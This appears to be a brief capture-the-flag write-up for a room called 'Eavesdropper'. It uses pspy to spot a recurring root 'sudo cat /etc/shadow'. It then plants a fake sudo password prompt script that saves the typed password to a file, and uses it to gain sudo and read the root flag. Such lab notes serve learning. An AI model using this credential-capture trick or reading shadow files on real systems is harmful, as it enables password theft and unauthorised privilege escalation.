Eavesdropper

Steps done:
Got the ssh keys from website.
Hint is What’s going on in the system?
Downloaded https://github.com/DominicBreuker/pspy/ for checking what is happening on the system
CMD: UID=0 PID=22428 | sudo cat /etc/shadow
every few seconds this pops up
I could write in /tmp
Make a script:
#!/bin/bash
read -p “[sudo] password for frank: ” pass
echo $pass > pass.txt
after logging in again there is a pass.txt with the password
with that i could do a sudo -l and i could do anything
sudo cat /root/flag.txt

Door DjDarth

Gerelateerd bericht